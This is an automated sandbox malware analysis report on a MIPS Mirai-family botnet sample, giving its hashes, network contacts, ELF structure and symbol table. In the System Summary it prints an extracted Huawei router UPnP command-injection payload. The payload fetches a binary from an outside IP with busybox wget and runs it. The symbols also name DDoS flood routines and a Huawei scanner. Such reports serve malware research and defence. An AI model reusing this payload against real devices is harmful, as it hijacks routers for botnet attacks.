Edit tour

Linux Analysis Report
DL2E29FTg1.elf

Overview

General Information

Sample name:	DL2E29FTg1.elf renamed because original name is a hash value
Original sample name:	6176825214898d7a9fbb3909a987f772.elf
Analysis ID:	1432017
MD5:	6176825214898d7a9fbb3909a987f772
SHA1:	74b80fa91f385ca71ddaaeb458358111d21bc675
SHA256:	a0a41745a20b82349a2d1829de76bf06a484a96f5c13499a6c7d18ef88680798
Tags:	32elfmipsmirai
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Contains symbols with names commonly found in malware

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432017
Start date and time:	2024-04-26 09:40:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	DL2E29FTg1.elf renamed because original name is a hash value
Original Sample Name:	6176825214898d7a9fbb3909a987f772.elf
Detection:	MAL
Classification:	mal52.linELF@0/0@0/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:	/tmp/DL2E29FTg1.elf
PID:	6236
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

DL2E29FTg1.elf (PID: 6236, Parent: 6162, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/DL2E29FTg1.elf

cleanup

Yara Signatures

⊘No yara matches

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DL2E29FTg1.elf	ReversingLabs: Detection: 18%
Source: DL2E29FTg1.elf	Virustotal: Detection: 24%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: DL2E29FTg1.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: DL2E29FTg1.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack_parser.c
Source: ELF static info symbol of initial sample	Name: attack_registry.c

Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: huawei_scanner_pid
Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: huawei_scanner_rawpkt
Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: huawei_scanner_pid
Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: huawei_scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm /tmp/.oxy; /bin/busybox wget -g 91.92.252.14 -l /tmp/.oxy -r /mips.ns ;/bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm /tmp/.oxy; /bin/busybox wget -g 91.92.252.14 -l /tmp/.oxy -r /mips.ns ;/bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: classification engine

Classification label: mal52.linELF@0/0@0/0

Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crt1.S
Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crti.S
Source: DL2E29FTg1.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crtn.S

Source: /tmp/DL2E29FTg1.elf (PID: 6236)

Queries kernel information via 'uname':

Jump to behavior

Source: DL2E29FTg1.elf, 6236.1.00007ffc8cfec000.00007ffc8d00d000.rw-.sdmp	Binary or memory string: q*x86_64/usr/bin/qemu-mipsel/tmp/DL2E29FTg1.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/DL2E29FTg1.elf
Source: DL2E29FTg1.elf, 6236.1.0000564ff80ab000.0000564ff8132000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: DL2E29FTg1.elf, 6236.1.0000564ff80ab000.0000564ff8132000.rw-.sdmp	Binary or memory string: OV!/etc/qemu-binfmt/mipsel
Source: DL2E29FTg1.elf, 6236.1.00007ffc8cfec000.00007ffc8d00d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DL2E29FTg1.elf	18%	ReversingLabs	Linux.Trojan.Mirai
DL2E29FTg1.elf	25%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	DL2E29FTg1.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	DL2E29FTg1.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
109.202.202.202	fsa.elf	Get hash	malicious	Unknown	Browse
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse
	OTpMIf3qBf.elf	Get hash	malicious	Mirai, Okiru	Browse
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	C5fMgX1ZyY.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	U4EnIo30QR.elf	Get hash	malicious	Mirai, Okiru	Browse
	jTzYWf5xhy.elf	Get hash	malicious	Unknown	Browse
91.189.91.43	fsa.elf	Get hash	malicious	Unknown	Browse
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	U4EnIo30QR.elf	Get hash	malicious	Mirai, Okiru	Browse
	jTzYWf5xhy.elf	Get hash	malicious	Unknown	Browse
	p4JEO4DdDU.elf	Get hash	malicious	Mirai, Okiru	Browse
	E96GtZFAEb.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	fsa.elf	Get hash	malicious	Unknown	Browse
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse
	OTpMIf3qBf.elf	Get hash	malicious	Mirai, Okiru	Browse
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	C5fMgX1ZyY.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	U4EnIo30QR.elf	Get hash	malicious	Mirai, Okiru	Browse
	jTzYWf5xhy.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	fsa.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	RJ93lr3oq2.elf	Get hash	malicious	Okiru	Browse	185.125.190.26
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	OTpMIf3qBf.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	aZxA9dZCxS.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	cR7iTvKIZm.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
CANONICAL-ASGB	fsa.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	RJ93lr3oq2.elf	Get hash	malicious	Okiru	Browse	185.125.190.26
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	OTpMIf3qBf.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	aZxA9dZCxS.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	cR7iTvKIZm.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
INIT7CH	fsa.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	93dYAEq6GA.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	TCke75ESG2.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	OTpMIf3qBf.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	Pb7emU2ZDo.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	EQYrfnHzXO.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	C5fMgX1ZyY.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	U4EnIo30QR.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	jTzYWf5xhy.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
Entropy (8bit):	4.603187914721024
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	DL2E29FTg1.elf
File size:	101'278 bytes
MD5:	6176825214898d7a9fbb3909a987f772
SHA1:	74b80fa91f385ca71ddaaeb458358111d21bc675
SHA256:	a0a41745a20b82349a2d1829de76bf06a484a96f5c13499a6c7d18ef88680798
SHA512:	394343a1d2b876e553d00dde5f28423dcd69edeccdc2007487ebece14961e3658d8a5ee76b64d8f9abad83d7020706311c59ed2940945621aa834962a079c910
SSDEEP:	3072:UkWQx3Tg6+uQQTg6+HrR7JZy+YjZ4f0pN7TwjnkelF0nESNCEIdtLtxOxIf7g:UkWQx3Tg6+uQQTg6+HrR7JZy+cZ4f0pP
TLSH:	18A3E07AA762AEBBEC4DCD33418A5512115D954893C92F7FF6E8C218E38BD0E49E3C44
File Content Preview:	.ELF......................@.4... f......4. ...(.........4...4.@.4.@...........................@...@....................p(...(.@.(.@...........................@...@..M...M...............P...PE..PE.....................@...@.@.@.@.................Q.td.......

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4019e0
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	7
Section Header Offset:	91680
Section Header Size:	40
Number of Section Headers:	27
Header String Table Index:	24

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x400114	0x114	0x14	0x0	0x2	A	0	0	1
.reginfo	MIPS_REGINFO	0x400128	0x128	0x18	0x18	0x2	A	0	0	4
.dynamic	DYNAMIC	0x400140	0x140	0xd8	0x8	0x2	A	6	0	4
.hash	HASH	0x400218	0x218	0x4c4	0x4	0x2	A	5	0	4
.dynsym	DYNSYM	0x4006dc	0x6dc	0xac0	0x10	0x2	A	6	1	4
.dynstr	STRTAB	0x40119c	0x119c	0x66e	0x0	0x2	A	0	0	1
.init	PROGBITS	0x40180c	0x180c	0x8c	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x4018a0	0x18a0	0x111c0	0x0	0x6	AX	0	0	16
.MIPS.stubs	PROGBITS	0x412a60	0x12a60	0x470	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x412ed0	0x12ed0	0x5c	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x412f30	0x12f30	0x1e50	0x0	0x2	A	0	0	16
.eh_frame	PROGBITS	0x414d80	0x14d80	0x4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x455000	0x15000	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x455008	0x15008	0x8	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x455010	0x15010	0x4	0x0	0x3	WA	0	0	4
.data	PROGBITS	0x455020	0x15020	0x2d0	0x0	0x3	WA	0	0	16
.rld_map	PROGBITS	0x4552f0	0x152f0	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x455300	0x15300	0x2a8	0x4	0x10000003	WAp	0	0	16
.sbss	NOBITS	0x4555a8	0x155a8	0x18	0x0	0x10000003	WAp	0	0	4
.bss	NOBITS	0x4555c0	0x155a8	0x90e0	0x0	0x3	WA	0	0	16
.comment	PROGBITS	0x0	0x155a8	0x18c	0x0	0x0		0	0	1
.mdebug.abi32	PROGBITS	0x18c	0x15734	0x0	0x0	0x0		0	0	1
.pdr	PROGBITS	0x0	0x15734	0xe20	0x0	0x0		0	0	4
.shstrtab	STRTAB	0x0	0x16554	0xc9	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x16a58	0x1540	0x10	0x0		26	139	4
.strtab	STRTAB	0x0	0x17f98	0xc06	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x400034	0x400034	0xe0	0xe0	2.4252	0x5	R E	0x4
INTERP	0x114	0x400114	0x400114	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
<unknown>	0x128	0x400128	0x400128	0x18	0x18	0.9834	0x4	R	0x4		.reginfo
LOAD	0x0	0x400000	0x400000	0x14d84	0x14d84	4.5301	0x5	R E	0x10000		.interp .reginfo .dynamic .hash .dynsym .dynstr .init .text .MIPS.stubs .fini .rodata .eh_frame
LOAD	0x15000	0x455000	0x455000	0x5a8	0x96a0	4.6305	0x6	RW	0x10000		.ctors .dtors .jcr .data .rld_map .got .sbss .bss
DYNAMIC	0x140	0x400140	0x400140	0x16ca	0x16ca	4.2621	0x7	RWE	0x4		.dynamic .hash .dynsym .dynstr
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x40180c	0xc
DT_FINI	value	0x412ed0	0xd
DT_HASH	value	0x400218	0x4
DT_STRTAB	value	0x40119c	0x5
DT_SYMTAB	value	0x4006dc	0x6
DT_STRSZ	bytes	1646	0xa
DT_SYMENT	bytes	16	0xb
DT_MIPS_RLD_MAP	value	0x4552f0	0x70000016
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x455300	0x3
DT_REL	value	0x0	0x11
DT_RELSZ	bytes	0	0x12
DT_RELENT	bytes	8	0x13
DT_MIPS_RLD_VERSION	value	0x1	0x70000001
DT_MIPS_FLAGS	value	0x2	0x70000005
DT_MIPS_BASE_ADDRESS	value	0x400000	0x70000006
DT_MIPS_LOCAL_GOTNO	value	0x9	0x7000000a
DT_MIPS_SYMTABNO	value	0xac	0x70000011
DT_MIPS_UNREFEXTNO	value	0x18	0x70000012
DT_MIPS_GOTSYM	value	0xb	0x70000013
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
GetTotalRAM	.dynsym	0x401e40	148	FUNC	<unknown>	DEFAULT	8
LOCAL_ADDR	.dynsym	0x4555a8	4	OBJECT	<unknown>	DEFAULT	19
Nodes	.dynsym	0x455610	4	OBJECT	<unknown>	DEFAULT	20
_DYNAMIC_LINKING	.dynsym	0x1	0	SECTION	<unknown>	DEFAULT	SHN_ABS
_GLOBAL_OFFSET_TABLE_	.dynsym	0x455300	0	OBJECT	<unknown>	DEFAULT	SHN_ABS
_Jv_RegisterClasses	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__RLD_MAP	.dynsym	0x4552f0	0	OBJECT	<unknown>	DEFAULT	17
__bss_start	.dynsym	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__deregister_frame_info	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__errno_location	.dynsym	0x412e10	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__register_frame_info	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__uClibc_main	.dynsym	0x412d50	716	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_atoi	.dynsym	0x4075e8	204	FUNC	<unknown>	DEFAULT	8
_edata	.dynsym	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x45e6a0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_fbss	.dynsym	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_fdata	.dynsym	0x455020	0	NOTYPE	<unknown>	DEFAULT	16
_fdgets	.dynsym	0x408408	320	FUNC	<unknown>	DEFAULT	8
_fini	.dynsym	0x412ed0	28	FUNC	<unknown>	DEFAULT	10
_ftext	.dynsym	0x4018a0	0	NOTYPE	<unknown>	DEFAULT	8
_gp	.dynsym	0x45d2f0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_init	.dynsym	0x40180c	28	FUNC	<unknown>	DEFAULT	7
_isalpha	.dynsym	0x4085b0	144	FUNC	<unknown>	DEFAULT	8
_isdigit	.dynsym	0x4086c0	104	FUNC	<unknown>	DEFAULT	8
_isspace	.dynsym	0x408640	128	FUNC	<unknown>	DEFAULT	8
_isupper	.dynsym	0x408548	104	FUNC	<unknown>	DEFAULT	8
_itoa	.dynsym	0x407c0c	560	FUNC	<unknown>	DEFAULT	8
_local_addr	.dynsym	0x40827c	396	FUNC	<unknown>	DEFAULT	8
_memcpy	.dynsym	0x4074cc	164	FUNC	<unknown>	DEFAULT	8
_memsearch	.dynsym	0x407e3c	288	FUNC	<unknown>	DEFAULT	8
_opennic_dns	.dynsym	0x4068e4	688	FUNC	<unknown>	DEFAULT	8
_random_domain	.dynsym	0x406d4c	364	FUNC	<unknown>	DEFAULT	8
_strcat	.dynsym	0x407384	188	FUNC	<unknown>	DEFAULT	8
_strcpy	.dynsym	0x407440	140	FUNC	<unknown>	DEFAULT	8
_strdup	.dynsym	0x406f68	152	FUNC	<unknown>	DEFAULT	8
_stristr	.dynsym	0x407f5c	524	FUNC	<unknown>	DEFAULT	8
_strlen	.dynsym	0x40666c	116	FUNC	<unknown>	DEFAULT	8
_zero	.dynsym	0x407570	120	FUNC	<unknown>	DEFAULT	8
accept	.dynsym	0x412c10	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
access	.dynsym	0x412df0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
actually_connected	.dynsym	0x4555e8	4	OBJECT	<unknown>	DEFAULT	20
add_watcher	.dynsym	0x40b37c	492	FUNC	<unknown>	DEFAULT	8
atoi	.dynsym	0x412e30	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x412c60	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
blacklisted	.dynsym	0x455184	12	OBJECT	<unknown>	DEFAULT	16
buffer	.dynsym	0x4566a0	32768	OBJECT	<unknown>	DEFAULT	20
c2_fd	.dynsym	0x455084	4	OBJECT	<unknown>	DEFAULT	16
calloc	.dynsym	0x412c20	180	FUNC	<unknown>	DEFAULT	SHN_UNDEF
chacha20_xor	.dynsym	0x40dc00	428	FUNC	<unknown>	DEFAULT	8
checksum_generic	.dynsym	0x403690	268	FUNC	<unknown>	DEFAULT	8
checksum_tcpudp	.dynsym	0x40379c	572	FUNC	<unknown>	DEFAULT	8
clock	.dynsym	0x412e60	108	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x412e90	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.dynsym	0x412e70	292	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x412ac0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connected	.dynsym	0x4555e4	4	OBJECT	<unknown>	DEFAULT	20
domain_to_hostname	.dynsym	0x403fd0	360	FUNC	<unknown>	DEFAULT	8
enc	.dynsym	0x456630	4	OBJECT	<unknown>	DEFAULT	20
esi_fd	.dynsym	0x455080	4	OBJECT	<unknown>	DEFAULT	16
exit	.dynsym	0x412e20	236	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fails	.dynsym	0x4555e0	4	OBJECT	<unknown>	DEFAULT	20
fcntl	.dynsym	0x412e80	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fd	.dynsym	0x4555b0	4	OBJECT	<unknown>	DEFAULT	19
find_writable_dirs_initial	.dynsym	0x40b288	152	FUNC	<unknown>	DEFAULT	8
find_writable_dirs_recursive	.dynsym	0x40afdc	684	FUNC	<unknown>	DEFAULT	8
flood_ack	.dynsym	0x40ddb0	3176	FUNC	<unknown>	DEFAULT	8
flood_greip	.dynsym	0x40fb90	3512	FUNC	<unknown>	DEFAULT	8
flood_kill	.dynsym	0x409c38	448	FUNC	<unknown>	DEFAULT	8
flood_parse	.dynsym	0x408730	1584	FUNC	<unknown>	DEFAULT	8
flood_start	.dynsym	0x409408	2096	FUNC	<unknown>	DEFAULT	8
flood_udpplain	.dynsym	0x40ea20	2036	FUNC	<unknown>	DEFAULT	8
flood_udpraw	.dynsym	0x40f220	2416	FUNC	<unknown>	DEFAULT	8
floods	.dynsym	0x455604	4	OBJECT	<unknown>	DEFAULT	20
floods_init	.dynsym	0x409120	188	FUNC	<unknown>	DEFAULT	8
floods_len	.dynsym	0x455600	1	OBJECT	<unknown>	DEFAULT	20
fork	.dynsym	0x412d30	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x412ea0	396	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free_entries	.dynsym	0x4058b4	164	FUNC	<unknown>	DEFAULT	8
free_paths	.dynsym	0x40adac	240	FUNC	<unknown>	DEFAULT	8
free_watchers	.dynsym	0x40ae9c	320	FUNC	<unknown>	DEFAULT	8
getArch	.dynsym	0x401a50	56	FUNC	<unknown>	DEFAULT	8
get_option_hex_string	.dynsym	0x408e3c	348	FUNC	<unknown>	DEFAULT	8
get_option_ip	.dynsym	0x40905c	196	FUNC	<unknown>	DEFAULT	8
get_option_number	.dynsym	0x408f98	196	FUNC	<unknown>	DEFAULT	8
get_option_string	.dynsym	0x408d60	220	FUNC	<unknown>	DEFAULT	8
geteuid	.dynsym	0x412ad0	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x412b10	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x412d90	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x412eb0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x412de0	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
handle_inotify_event	.dynsym	0x40b568	636	FUNC	<unknown>	DEFAULT	8
handle_inotify_events	.dynsym	0x40b7e4	280	FUNC	<unknown>	DEFAULT	8
hex_to_text	.dynsym	0x405a68	484	FUNC	<unknown>	DEFAULT	8
htonl	.dynsym	0x412cf0	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htons	.dynsym	0x412e00	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
huawei_fake_time	.dynsym	0x456674	4	OBJECT	<unknown>	DEFAULT	20
huawei_recv_strip_null	.dynsym	0x410950	248	FUNC	<unknown>	DEFAULT	8
huawei_rsck	.dynsym	0x456644	4	OBJECT	<unknown>	DEFAULT	20
huawei_scanner_pid	.dynsym	0x456640	4	OBJECT	<unknown>	DEFAULT	20
huawei_scanner_rawpkt	.dynsym	0x45664c	40	OBJECT	<unknown>	DEFAULT	20
inet_addr	.dynsym	0x412c70	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
initial_paths	.dynsym	0x455160	36	OBJECT	<unknown>	DEFAULT	16
initialize_inotify	.dynsym	0x40b320	92	FUNC	<unknown>	DEFAULT	8
inotify_add_watch	.dynsym	0x412dd0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inotify_init	.dynsym	0x412bf0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inotify_rm_watch	.dynsym	0x412ce0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x412a70	104	FUNC	<unknown>	DEFAULT	SHN_UNDEF
